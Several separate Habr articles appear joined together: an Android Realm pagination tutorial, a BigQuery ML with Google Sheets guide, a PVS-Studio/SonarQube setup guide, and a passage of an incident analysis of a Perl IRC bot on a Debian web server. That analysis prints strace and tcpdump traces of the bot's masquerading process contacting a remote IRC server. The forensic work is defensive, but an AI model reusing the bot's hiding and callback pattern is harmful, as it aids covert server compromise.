\* @param index Index of item to get, must be >= 0, and < {@link #getItemCount()}.
\* @return The item, or null, if a null placeholder is at the specified position.
\*/
@SuppressWarnings("WeakerAccess")
@Nullable
public T getItem(int index) {
if (mPagedList == null) {
if (mSnapshot == null) {
throw new IndexOutOfBoundsException(
"Item count is zero, getItem() call is invalid");
} else {
return mSnapshot.get(index);
}
}
mPagedList.loadAround(index);
return mPagedList.get(index);
}
```
2. PagedList выполняет проверки и вызывает метод void tryDispatchBoundaryCallbacks(boolean post):
```
/**
* Load adjacent items to passed index.
*
* @param index Index at which to load.
*/
public void loadAround(int index) {
if (index < 0 || index >= size()) {
throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size());
}
mLastLoad = index + getPositionOffset();
loadAroundInternal(index);
mLowestIndexAccessed = Math.min(mLowestIndexAccessed, index);
mHighestIndexAccessed = Math.max(mHighestIndexAccessed, index);
/*
* mLowestIndexAccessed / mHighestIndexAccessed have been updated, so check if we need to
* dispatch boundary callbacks. Boundary callbacks are deferred until last items are loaded,
* and accesses happen near the boundaries.
*
* Note: we post here, since RecyclerView may want to add items in response, and this
* call occurs in PagedListAdapter bind.
*/
tryDispatchBoundaryCallbacks(true);
}
```
3. В этом методе проверяется необходимость загрузки следующей порции данных и происходит запрос на загрузку:
```
/**
* Call this when mLowest/HighestIndexAccessed are changed, or
* mBoundaryCallbackBegin/EndDeferred is set.
*/
@SuppressWarnings("WeakerAccess") /* synthetic access */
void tryDispatchBoundaryCallbacks(boolean post) {
final boolean dispatchBegin = mBoundaryCallbackBeginDeferred
&& mLowestIndexAccessed <= mConfig.prefetchDistance;
final boolean dispatchEnd = mBoundaryCallbackEndDeferred
&& mHighestIndexAccessed >= size() - 1 - mConfig.prefetchDistance;
if (!dispatchBegin && !dispatchEnd) {
return;
}
if (dispatchBegin) {
mBoundaryCallbackBeginDeferred = false;
}
if (dispatchEnd) {
mBoundaryCallbackEndDeferred = false;
}
if (post) {
mMainThreadExecutor.execute(new Runnable() {
@Override
public void run() {
dispatchBoundaryCallbacks(dispatchBegin, dispatchEnd);
}
});
} else {
dispatchBoundaryCallbacks(dispatchBegin, dispatchEnd);
}
}
```
4. В итоге все вызовы попадают в DataSource, где и происходит загрузка данных из БД или из других источников:
```
@SuppressWarnings("WeakerAccess") /* synthetic access */
void dispatchBoundaryCallbacks(boolean begin, boolean end) {
// safe to deref mBoundaryCallback here, since we only defer if mBoundaryCallback present
if (begin) {
//noinspection ConstantConditions
mBoundaryCallback.onItemAtFrontLoaded(mStorage.getFirstLoadedItem());
}
if (end) {
//noinspection ConstantConditions
mBoundaryCallback.onItemAtEndLoaded(mStorage.getLastLoadedItem());
}
}
```
Пока все выглядит просто — достаточно взять и сделать. Всего-то делов:
1. Создать свою реализацию PagedList (RealmPagedList) которая будет работать с RealmModel;
2. Создать свою реализацию PagedStorage (RealmPagedStorage), которая будет работать с OrderedRealmCollection;
3. Создать свою реализацию DataSource (RealmDataSource) которая будет работать с RealmModel;
4. Создать свой адаптер для работы с RealmList;
5. Убрать ненужное, добавить нужное;
6. Готово.
Опустим незначительные технические детали, и вот результат — [библиотека RealmPagination](https://github.com/Magora-Android/RealmPagination). Попробуем создать приложение, которое отображает список пользователей.
0. Добавляем библиотеку в проект:
```
allprojects {
repositories {
maven { url "https://jitpack.io" }
}
}
implementation 'com.github.magora-android:realmpagination:1.0.0'
```
1. Создаём класс User:
```
@Serializable
@RealmClass
open class User : RealmModel {
@PrimaryKey
@SerialName("id") var id: Int = 0
@SerialName("login") var login: String? = null
@SerialName("avatar_url") var avatarUrl: String? = null
@SerialName("url") var url: String? = null
@SerialName("html_url") var htmlUrl: String? = null
@SerialName("repos_url") var reposUrl: String? = null
}
```
2. Создаём DataSource:
```
class UsersListDataSourceFactory(
private val getUsersUseCase: GetUserListUseCase,
private val localStorage: UserDataStorage
) : RealmDataSource.Factory() {
override fun create(): RealmDataSource {
val result = object : RealmPageKeyedDataSource() {
override fun loadInitial(params: LoadInitialParams, callback: LoadInitialCallback) {...}
override fun loadBefore(params: LoadParams, callback: LoadCallback) {
...
}
override fun loadAfter(params: LoadParams, callback: LoadCallback) {
...
}
}
return result
}
override fun destroy() {
}
}
```
3. Создаем адаптер:
```
class AdapterUserList(
data: RealmPagedList<*, User>,
private val onClick: (Int, Int) -> Unit
) : BaseRealmListenableAdapter(data) {
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): RecyclerView.ViewHolder {
val view = LayoutInflater.from(parent.context).inflate(R.layout.item\_user, parent, false)
return UserViewHolder(view)
}
override fun onBindViewHolder(holder: RecyclerView.ViewHolder, position: Int) {
...
}
}
```
4. Создаём ViewModel:
```
private const val INITIAL_PAGE_SIZE = 50
private const val PAGE_SIZE = 30
private const val PREFETCH_DISTANCE = 10
class VmUsersList(
app: Application,
private val dsFactory: UsersListDataSourceFactory,
) : AndroidViewModel(app), KoinComponent {
val contentData: RealmPagedList
get() {
val config = RealmPagedList.Config.Builder()
.setInitialLoadSizeHint(INITIAL\_PAGE\_SIZE)
.setPageSize(PAGE\_SIZE)
.setPrefetchDistance(PREFETCH\_DISTANCE)
.build()
return RealmPagedListBuilder(dsFactory, config)
.setInitialLoadKey(0)
.setRealmData(localStorage.getUsers().users)
.build()
}
fun refreshData() { ... }
fun retryAfterPaginationError() { ... }
override fun onCleared() {
super.onCleared()
dsFactory.destroy()
}
}
```
5. Инициализируем список:
```
recyclerView.layoutManager = LinearLayoutManager(context)
recyclerView.adapter = AdapterUserList(viewModel.contentData) { user, position ->
//...
}
```
6. Создаём фрагмент со списком:
```
class FragmentUserList : BaseFragment() {
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
recyclerView.layoutManager = LinearLayoutManager(context)
recyclerView.adapter = AdapterUserList(viewModel.contentData) { user, position -> ... }
}
```
7. Готово.
Получилось, что использовать Realm также просто, как и Room. Сергей выложил [исходный код библиотеки и пример использования](https://github.com/Magora-Android/RealmPagination). Не придётся пилить ещё один велосипед, если столкнётесь с похожей ситуацией. | https://habr.com/ru/post/467097/ | null | ru | null |
# Как натренировать и использовать модель машинного обучения из Google таблиц с помощью BigQuery ML
Электронные таблицы используются везде. Это один из самых удобных инструментов для повышения производительности. С их помощью можно быстро упорядочить, рассчитать и представить данные. [Google Таблицы](https://www.google.com/sheets/about/) – это приложение для работы с электронными таблицами в составе сервиса [Google Workspace](https://workspace.google.com/), с которым активно работают более [2 миллиардов пользователей](https://twitter.com/jsoltero/status/1238496597064863744).
Машинное обучение также стало важным бизнес-инструментом. Когда появилась недорогая возможность высокоточного прогнозирования на основе данных, рынок стал развиваться по новому пути. По [оценкам,](https://www.forbes.com/sites/louiscolumbus/2020/01/19/roundup-of-machine-learning-forecasts-and-market-estimates-2020) каждый год доля машинного обучения в бизнесе будет увеличиваться более чем на 40 %.
Это наталкивает на мысль о том, что машинное обучение было бы разумно применять для анализа данных в таблицах. И это так! Тем более теперь для этого есть все средства. О них мы и поговорим в этой статье.
### Широкие возможности применения
Инструмент [BigQuery ML](https://cloud.google.com/bigquery-ml/docs/introduction), встроенный в [BigQuery](https://cloud.google.com/bigquery), позволяет создавать модели машинного обучения с помощью стандартных SQL-запросов. В этой статье мы рассмотрим, как создать модель прогнозирования временных рядов с помощью BigQuery ML. Входные данные модели временных рядов – это ряд значений, собранных за определенное время. Выходные данные – ряд спрогнозированных значений.
Мы выбрали этот тип модели, потому что она часто используется в таблицах. Можно придумать массу вариантов таблиц, в которых по порядку идут даты, а напротив них указаны числа. Это могут быть показатели продаж или деятельности компании, кадровый состав и многое другое. Подробный пример создания модели прогнозирования спроса с помощью BigQuery ML приведен в [этой статье](https://cloud.google.com/blog/products/data-analytics/get-started-with-data-analytics-demand-forecasting-with-ml-models).
Принцип, о котором мы рассказываем здесь, можно применять к любой модели машинного обучения. BigQuery ML поддерживает множество моделей различного типа: [нейросети](https://cloud.google.com/bigquery-ml/docs/reference/standard-sql/bigqueryml-syntax-create-dnn-models), [модели AutoML](https://cloud.google.com/bigquery-ml/docs/reference/standard-sql/bigqueryml-syntax-create-automl) и [даже](https://cloud.google.com/bigquery-ml/docs/reference/standard-sql/bigqueryml-syntax-create-tensorflow) TensorFlow. Вам не нужно знать, как создана модель – достаточно просто загрузить данные и выбрать подходящие параметры. Инструмент BigQuery ML сам создаст модель и будет управлять ею.
Чтобы создать модель, вам потребуется набор данных для обучения. К счастью, они уже есть в таблице. Если вы используете [подключенные таблицы](https://cloud.google.com/blog/products/g-suite/connected-sheets-is-generally-available), доступ к большим объемам данных можно получать прямо внутри BigQuery. При этом у вас всегда будут защищенные и актуальные данные.
Для выполнения запросов BigQuery ML из Таблиц мы будем использовать [Apps Script](https://developers.google.com/apps-script). Это встроенная облачная и безсерверная платформа JavaScript расширяющая возможности Google Workspace. Программа Apps Script извлечет входные данные из таблицы, выполнит запросы BigQuery ML для обучения и прогнозирования, а затем обновит таблицу, добавив в нее расчетные данные из модели.
### Проблема
В нашем примере мы рассчитаем количество посещений сайта интернет-магазина с помощью [данных Google Аналитики](https://console.cloud.google.com/marketplace/product/obfuscated-ga360-data/obfuscated-ga360-data) из общедоступных наборов данных BigQuery. В набор входят данные о трафике, контенте и транзакциях за 12 месяцев. Посмотрим на график посещений сайта по часам.
Этот набор данных содержит ряд сложных шаблонов. Например, мы видим шаблон, который повторяется каждый день, а также каждую неделю (дневная и недельная сезонность). Но надежные механизмы прогнозирования в BigQuery ML хорошо справляются с такими шаблонами. Кроме того, мы видим несколько всплесков, которые могут нарушить алгоритм прогнозирования, но в BigQuery ML заложена автоматическое выявление и изоляция аномалий.
### Использование данных из BigQuery
В нашем примере код будет работать с данными независимо от их источника. Если у вас нет доступа к бизнес-данным в BigQuery, его можно получить с помощью подключенных таблиц. Это несложно.
В меню "Данные" нажмите "Подключиться к BigQuery"
Выберите проект, набор данных и таблицу. Все готово! Ваша электронная таблица подключена.
С помощью подключенных таблиц можно получать результаты анализа больших объемов данных, используя знакомые инструменты, например сводные таблицы, графики и формулы. Данные в них будут автоматически обновляться из BiqQuery. В нашем примере мы хотим создать модель и для ее обучения использовать срез данных, сделанный в определенный момент времени. Для этого нужно выбрать данные и нажать "Распаковать".
### Использование BigQuery ML Model из Google Таблиц
Теперь рассмотрим, как выполнять команды BigQuery ML из интерфейса Таблиц. Для этого разберем пример кода из раздела [ml-integration-samples](https://github.com/googleworkspace/ml-integration-samples/tree/master/apps-script/BQMLForecasting) в Google Workspace.
Открыв в таблице Редактор скриптов ("Инструменты > Редактор скриптов"), можно написать собственный код Apps Script и настроить интеграцию. В нашем примере включены две [дополнительные службы](https://developers.google.com/apps-script/guides/services/advanced) (BigQuery и Таблицы), чтобы сценарий поддерживал соответствующие API.
Сначала заглянем в меню, которое появилось в Таблицах, и посмотрим, как мы связали его с кодом в проекте.
Функция `onOpen()` активируется, когда открывается электронная таблица. Как видно, она создает несколько пунктов меню, каждое из которых связано с определенной функцией. Например, функция `train()` вызывается, если выбрать пункт меню "Обучение".
```
/**
* Create menu items linked to functions
*/
function onOpen() {
SpreadsheetApp.getUi()
.createMenu('BQML')
.addItem('Train', 'train')
.addItem('Forecast', 'forecast')
.addSeparator()
.addSubMenu(SpreadsheetApp.getUi().createMenu('Configure')
.addItem('Project', 'configureProject')
.addItem('Dataset', 'configureDataset'))
.addToUi();
}
```
### Обучение модели
Теперь рассмотрим, как функция обучения работает с данными. Пользователь выбирает в таблице диапазон дат с данными для прогнозирования. Обучающий код извлекает значения из объекта Range.
Затем строки вставляются во временную таблицу BigQuery. После этого выполняется запрос на создание модели временного ряда на основе данных из таблицы.
```
/**
* Create a forecasting model based on the input data
*/
function train() {
// ...
// Populate temporary table in BigQuery with selected data from sheet
const inputs = SpreadsheetApp.getActiveRange().getValues();
populateTable(project, table, [DATETIME_COLUMN, DATA_COLUMN], inputs);
// Create a new model using training data in BigQuery
const request = {
query: 'CREATE OR REPLACE MODEL `' + model + '` ' +
getOptionsStr(CREATE_OPTIONS) + ' AS SELECT * FROM `' + table + '`',
useLegacySql: false,
};
runQuery(request, project);
}
```
Рассмотрим пример запроса, который может быть сформирован обучающим кодом. В нем указана модель типа ARIMA (для временного ряда), а также столбцы из временной таблицы с временными метками и данными. В BigQuery ML можно указать дополнительные [параметры,](https://cloud.google.com/bigquery-ml/docs/reference/standard-sql/bigqueryml-syntax-create-time-series#model_option_list) например выходные дни, но в нашей выборке их нет.
```
CREATE OR REPLACE MODEL
`sheets_forecast.sheets_forecast_model` OPTIONS( MODEL_TYPE='ARIMA',
TIME_SERIES_TIMESTAMP_COL='datetime',
TIME_SERIES_DATA_COL='data') AS
SELECT
*
FROM
`sheets_forecast.sheets_forecast_training_data`
```
### Прогнозирование
Чтобы рассчитать прогноз, выберите несколько строк в таблице и нажмите "Прогноз" в меню. Сценарий применит к модели функцию [ML.FORECAST(),](https://cloud.google.com/bigquery-ml/docs/reference/standard-sql/bigqueryml-syntax-forecast) используя количество выбранных строк в качестве горизонта.
Для каждого временного интервала из прогноза извлекаются значения двух полей:
* Временная метка прогноза в виде строки с датой, временем и часовым поясом.
* Расчетное значение для данной временной метки.
Если выбрано три строки, то запрос может выглядеть так:
```
SELECT
FORMAT_TIMESTAMP("%FT%T%Ez", forecast_timestamp),
forecast_value
FROM
ML.FORECAST(MODEL `sheets_forecast.sheets_forecast_model`,
STRUCT(3 AS horizon))
```
А теперь посмотрим на сам прогноз. Последняя неделя данных выделена синим цветом, а прогноз на последние три дня – красным.
### Собираем все вместе
Объединив Google Таблицы с BigQuery ML, можно применять машинное обучение к любым данным в электронных таблицах. Все, что требуется, – это достаточный объем данных высокого качества, на основе которых можно создать информативные шаблоны.
В [примере кода](https://github.com/googleworkspace/ml-integration-samples/tree/master/apps-script/BQMLForecasting) показано, как процесс обучения может взаимодействовать с данными любого типа, в которых есть дата и числовое значение. Если вам нужна другая модель, макет таблицы или параметры, внесите в этот код соответствующие изменения. После этого, чтобы построить новую модель и прогноз по ней, будет достаточно открыть меню.
На первых этапах вам поможет шаблон [таблицы](https://docs.google.com/spreadsheets/d/1njedwGjBOkUbTS_HYD0wIPuQIDHgobp1D80qO-OsNH0/copy), в которой уже установлен пример кода. В примере есть инструкции, с помощью которых вы сможете установить код самостоятельно. Тем, кто хочет получить больше практических навыков по работе с BigQuery ML, рекомендуем изучить вводное [руководство](https://codelabs.developers.google.com/codelabs/bqml-intro). Используйте Таблицы вместе с BigQuery ML, и, надеемся, вы сможете решать больше задач, чем когда-либо.
---
*Напоминаем что при первой регистрации в Google Cloud: вам доступны бонусы на сумму 300 долларов США, а более 20 бесплатных продуктов доступны всегда. Подробнее по*[*специальной ссылке*](https://cloud.google.com/free/)*.*
*А так же выражаем благодарность за помощь в подготовке материала коллегам: Карл Вейнмейстер,* [*Звиад Кардава*](https://twitter.com/ZviadKardava) | https://habr.com/ru/post/545662/ | null | ru | null |
# Just for Fun: PVS-Studio Team Came Up With Monitoring Quality of Some Open Source Projects
Static code analysis is a crucial component of all modern projects. Its proper application is even more important. We decided to set up a regular check of some open source projects to see the effect of the analyzer's frequent running. We use the PVS-Studio analyzer to check projects. As for viewing the outcome, the choice fell on SonarQube. As a result, our subscribers will learn about new interesting bugs in the newly written code. We hope you'll have fun.
After all, why is it necessary to check projects regularly? If you rarely run static analysis, for example, just before the release, you may be snowed under with a great number of warnings. Looking through them all, you can miss the very significant analyzer triggerings that indicate serious errors. If you run the analysis regularly, for example, every day, then there won't be so many of those. Thus, you can easily identify crucial problems. Another reason is the cost of an error: the sooner the problem is detected, the less costly it is to fix it. For example, if you run static analysis just before the release, then by that time most of the bugs will have been found and fixed by the testing department. However, such fixes cost more. That is, the only right way to use static analysis is regular analysis.
As you probably know, our team often publishes articles about open source projects checks. Such articles are certainly curious to read. They bring some benefits to checked projects themselves. We always report on suspicious places to developers. However, such isolated checks have the same disadvantages as the scenario described above with an irregular code check only before the release. It's difficult to perceive a large report. Many errors end up being fixed at other levels of quality control (for example, using tests) instead of being found and fixed immediately after they hit the code.
Therefore, we decided to try a new work format with open source projects. That is a regular, daily code review of one (for a start) project. In this case, the check will be set up in a way that we'd have to view analyzer warnings covering only changed code or newly written code. It's faster than viewing the full analyzer report, and most importantly, it will allow discovering a potential error very quickly. When we find something really exciting, we'll make short notes or even write a post on Twitter.
We hope that this format will allow us to better promote more correct practices of static analysis regular use and will bring additional benefits to the open-source community.
We decided to choose the [Blender](https://www.blender.org/) project as the first project to analyze. You can tell us what additional projects you'd like us to analyze. Also, we'll describe the errors found in them.
### Regular analysis configuration
For our task, we consider the joint effort of PVS-Studio – SonarQube tools to be the best solution for regular analysis. Further, we'll talk about the configuration of the selected tools: how to run and configure SonarQube; we'll describe how to analyze the project and how to upload the results to be displayed.
#### Why we chose SonarQube
PVS-Studio can do a lot: analyze, send out notifications about warnings, and filter them. Moreover, it can also integrate into different systems to display warnings. Not only to get the check results but also to additionally test more PVS-Studio operating modes, we decided to try to configure the display of results for our task in SonarQube.
You can find more information about this application [here](https://www.sonarqube.org/). Now let's proceed to the deployment. SonarQube stores all the data in the database. You can use different databases, but the recommended one is PostgreSQL. Let's set it up first.
#### Configuring PostgreSQL
Download the latest version [here](https://www.postgresql.org/download/windows/). Install it and create a database for SonarQube. To do this, first, create a user named sonar. Run the following command in the psql command line:
```
CREATE USER sonar WITH PASSWORD '12345';
```
You can also use pgAdmin for this and other operations. Now we need to create the database named sonarqube using the CREATE DATABASE command. It looks like this in our case:
```
CREATE DATABASE sonarqube OWNER sonar;
```
The database is ready, let's start configuring SonarQube.
#### SonarQube configuration
Download and install SonarQube. You can get the latest version [here](https://www.sonarqube.org/success-download-community-edition). The distribution itself is an archive. We need to unpack the archive to the C directory:\sonarqube\sonarqube-8.5.1.38104.
Then, edit the file C:\sonarqube\sonarqube-8.5.1.38104\conf\sonar.properties. We'll add there the following info on our created database:
```
sonar.jdbc.username=sonar
sonar.jdbc.password=12345
sonar.jdbc.url=jdbc:postgresql://localhost/sonarqube
```
SonarQube will see the database that we created and will start working with it. Next, you'll need to install the plugin for PVS-Studio. The plugin is in the directory where PVS-Studio is installed. It is C:\Program Files (x86)\PVS-Studio by default. We need a sonar-pvs-studio-plugin.jar file. Copy it to the directory with SonarQube C:\sonarqube\sonarqube-8.5.1.38104\extensions\plugins. You also need to download the sonar-cxx-plugin, click [here](https://github.com/SonarOpenCommunity/sonar-cxx/releases) to do it. At the time of writing, this is sonar-cxx-plugin-1.3.2.1853.jar. We need to copy this plugin to the C:\sonarqube\sonarqube-8.5.1.38104\extensions\plugins directory.
Now you can run SonarQube. To do this, run C:\sonarqube\sonarqube-8.5.1.38104\bin\windows-x86-64\StartSonar.bat.
Let's start setting up via the web interface. Go to the browser at sonarServer:9000. Here sonarServer is the name of the machine where SonarQube is installed.
#### Quality Profile configuration
The quality profile is a key component of SonarQube, which defines a set of rules for the codebase. The PVS-Studio plugin provides a set of rules that correspond to the analyzer warnings. We can add all of them to the quality profile or disable any rules if necessary. According to the configured quality profile, SonarQube will display or not display warnings after analyzing our code.
Now, we need to configure the Quality Profile. To do so go to the Quality Profiles tab and click Create as shown in the picture below.
In the appeared window enter a profile name (it can be random). In our case, the name is PVS-Studio Way. Then, select the language. C++ is relevant for us now. After that, click Create.
Then go to the Rules tab, select the Repository category, and select PVS-Studio C++. Next, click Bulk Change and Activate In, in the appeared window select our created profile, that is, PVS-Studio Way.
SonarQube is set up and ready to go.
### Analysis
Then, we'll configure the project analysis directly using the PVS-Studio analyzer.
Download the source code with the following command:
```
git clone https://github.com/blender/blender.git
```
generate the project files:
```
make.bat full nobuild
```
generate the necessary additional files, compile the build\_windows\_Full\_x64\_vc15\_Release\INSTALL.vcxproj project for that.
Run the analysis with the following command
```
"c:\\Program Files (x86)\\PVS-Studio\\PVS-Studio_Cmd.exe" \
-t build_windows_Full_x64_vc15_Release\\Blender.sln \
-o blender.plog --sonarqubedata -r
```
So, we have the files blender.plog and sonar-project.properties, and we can push the results of our analysis to SonarQube. Use the sonar-scanner utility to do this.
### Sonar scanner
You can download the utility [here](https://docs.sonarqube.org/latest/analysis/scan/sonarscanner/). Download the archive by the link, unzip it. For example, in our case, it is placed in the directory D:\sonar\sonar-scanner-4.5.0.2216-windows. Edit the D:\sonar\sonar-scanner-4.5.0.2216-windows\conf\sonar-scanner.properties file by adding the following line to it:
```
sonar.host.url=http://sonarServer:9000
```
Where sonarServer is the name of the machine where SonarQube is installed.
Run the following command:
```
D:\sonar\sonar-scanner-4.5.0.2216-windows\sonar-scanner.bat \
-Dsonar.projectKey=blender -Dsonar.projectName=blender \
-Dsonar.projectVersion=1.0 \
-Dsonar.pvs-studio.reportPath=blender.plog
```
Note that the command is called from the directory with the analysis results (blender.plog and sonar-project.properties).
To run the analysis on a project regularly, all above commands can be easily automated using a Continuous Integration server, such as Jenkins.
### Conclusion
Regular projects analysis allows you to eliminate errors at the earliest stage when the cost of such a correction is minimal. We hope that this new format of checking open source projects and the article about it will be interesting to our readers and will diversify the "usual" articles about checking, as well as benefit the open source community. Let me remind you once again that we accept requests for the inclusion of additional projects in our regular review. We can't guarantee that we'll add a project, but we will definitely consider all your suggestions. | https://habr.com/ru/post/541918/ | null | en | null |
# Анализ проникновения бота через эксплоит в старых версиях phpmyadmin и рекомендации по настройкам безопасности php-хостинга
Имею на администрировании несколько серверов, на которых хостятся восновном свои проекты, но кроме них ещё довольно много пришлось разместить левых сайтов — клиентов, знакомых, знакомых знакомых и т.п. За время администрирования встречались разные проблемы, поэтому настроены кое-какие мониторинги (zabbix и самописные скрипты).
И вот вчера на одном из серверов скрипт, проверяющий активные соединения, забил тревогу: постоянно висит исходящее соединение на неизвестный хост на порт 433, уже более 9 часов на момент когда я осилил прочитать почту в понедельник утром ;)
При беглом просмотре кроме этого активного соединения больше никаких аномалий и левых процессов в системе не было обнаружено, резкого роста трафика на интерфейсе тоже не обнаружено, но это меня не успокоило, поэтому пришлось выяснять подробнее.
**По результатам анализа я выяснил что подобная дыра в безопасности может быть на большинстве серверов с базовыми настройками PHP, поэтому решил сделать пост на хабре чтобы обезопасить остальных владельцев серверов с хостингом от подобных случаев, а также описал способы поиска источников попадания заразы на сервер.**
Система установлена Debian Lenny с последними обновлениями, даже частично из backports squeeze, работают postfix+dovecot, apache2, lighttpd, mysql, php, perl — вобщем почти базовая конфигурация.
Мой самописный скрипт, который обнаружил это соединение, делает следующее: раз в 30 минут запускает команду `lsof -nP -i :80,443,25 +c 15` (список активных исходящих соединений на порты 80,443,25), вырезает из неё мой почтовый сервер postfix и ещё некоторые мои процессы, и если кроме них ещё кто-то держит соединение, то сразу включает режим паники.
По результатам работы этого скрипта я получил следующую информацию:
`perl 31621 www-data 4u IPv4 123556667 TCP [мой_ip]:59216->81.223.126.136:443 (ESTABLISHED)`
Я сразу же подключился по ssh, сделал ps aux, который меня очень удивил:
`UID PID PPID C STIME TTY TIME CMD
www-data 31621 1 0 20:15 ? 00:00:00 /usr/sbin/apache2 -k start`
Т.е. ps меня утверждал что это не perl, а апач.
Поэтому захотелось узнать точное время появления этого процесса в системе, чтобы перерыть логи за это время, а скрипт имеет 30-минутный лаг, за который в логах очень много всего понаписаться успело. Оказалось, что выяснить конкретную дату старта довольно проблематично, команда ps aux выдавала только дату запуска (прошлый день, 12 Dec), в /proc/ даты создания файлов и остальная обнаруженная беглым просмотром инфа не совпадало с интервалом сообщения от скрипта, но после активного гугления мне удалось найти волшебную команду и выяснить конкретное время запуска данного процесса с точностью до секунды:
`# ps -eo pid,lstart,cmd`
во второй колонке отображает точное время запуска процесса, для моего процесса 12.12.2010 23:59:40.
Тщательно просмотрев логи каждого виртуалхоста за это время вплоть до минус 5 минут с этого момента я не нашёл ничего аномального! Также построил дерево процессов и увидел что данный процесс не имеет родителей (родитель с pid 0). А обращений с IP куда висит коннект (81.223.126.136) вообще не было в логах ни одного демона.
Далее, погуглив относительно perl, я выяснил что в нём довольно просто можно сменить параметр command на любой другой текст, делается это через переменную $0, т.е. запущенный perl-процесс можно отобразить как mysqld, init или любой другой демон.
Итого, имеем активный процесс perl без родителя, который висит уже более 9 часов и неизвестно откуда запущен, хотя на хостинге у меня везде только PHP. Поэтому даже перезапуск apache оставляет этот процесс висеть активным.
Далее я попробовал проанализировать трафик через tcpdump:
`000033 IP [my_ip].55026 > 81.223.126.136.443: . ack 1 win 46
000172 IP [my\_ip].55026 > 81.223.126.136.443: P 1:13(12) ack 1 win 46
001043 IP 81.223.126.136.443 > [my\_ip].54320: . ack 163 win 54
183151 IP 81.223.126.136.443 > [my\_ip].55026: . ack 13 win 46
000022 IP [my\_ip].55026 > 81.223.126.136.443: P 13:145(132) ack 1 win 46
000005 IP 81.223.126.136.443 > [my\_ip].55026: P 1:77(76) ack 13 win 46
000006 IP [my\_ip].55026 > 81.223.126.136.443: . ack 77 win 46
001213 IP 81.223.126.136.47092 > [my\_ip].113: S 4059834353:4059834353(0) win 5840
000019 IP [my\_ip].113 > 81.223.126.136.47092: S 2188075368:2188075368(0) ack 4059834354 win 5792`
И ещё нашёл в команде htop возможность делать strace:
`select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 559974})
read(4, "ERROR :Closing Link: Fasso'[sea.q"..., 4096) = 76
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599998})
read(4, ""..., 4096) = 0
close(4) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4
ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
fcntl(4, F_SETFD, FD_CLOEXEC) = 0
connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("81.223.126.136")}, 16) = 0
getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
write(4, "NICK Fasso'\n"..., 12) = 12
getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
write(4, "USER fake [my_ip] 81.223.1"..., 132) = 132
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_IGN}, 8) = 0
nanosleep({2, 0}, {2, 0}) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599997})
read(4, "NOTICE AUTH :*** Looking up your "..., 4096) = 113
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
write(4, "PONG :258562266\n"..., 16) = 16
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
15:59:55 icq.j-im.ru
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
write(4, "PONG :258562266\n"..., 16) = 16
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)`
Из этих данных я выяснил, что данный бот периодически обменивается информацией с сервером (где-то раз в 30-60 секунд), т.е. активно работает, но много трафика не генерит, увидел хост god.undernet.hk, но в поиске источника попадания данного бота в систему это мне никак не помогло.
Далее, ещё пораскинув мозгами, я сделал lsof -p 31621 и получил следующий вывод:
`COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
perl 31621 www-data cwd DIR 9,4 640 2 /tmp
perl 31621 www-data rtd DIR 9,1 4096 2 /
perl 31621 www-data txt REG 9,1 6848 245277 /usr/bin/perl
perl 31621 www-data mem REG 9,1 25536 310438 /usr/lib/perl/5.10.0/auto/Socket/Socket.so
perl 31621 www-data mem REG 9,1 19704 310433 /usr/lib/perl/5.10.0/auto/IO/IO.so
perl 31621 www-data mem REG 9,1 39112 1404408 /lib/libcrypt-2.7.so
perl 31621 www-data mem REG 9,1 1375536 262722 /lib/libc-2.7.so
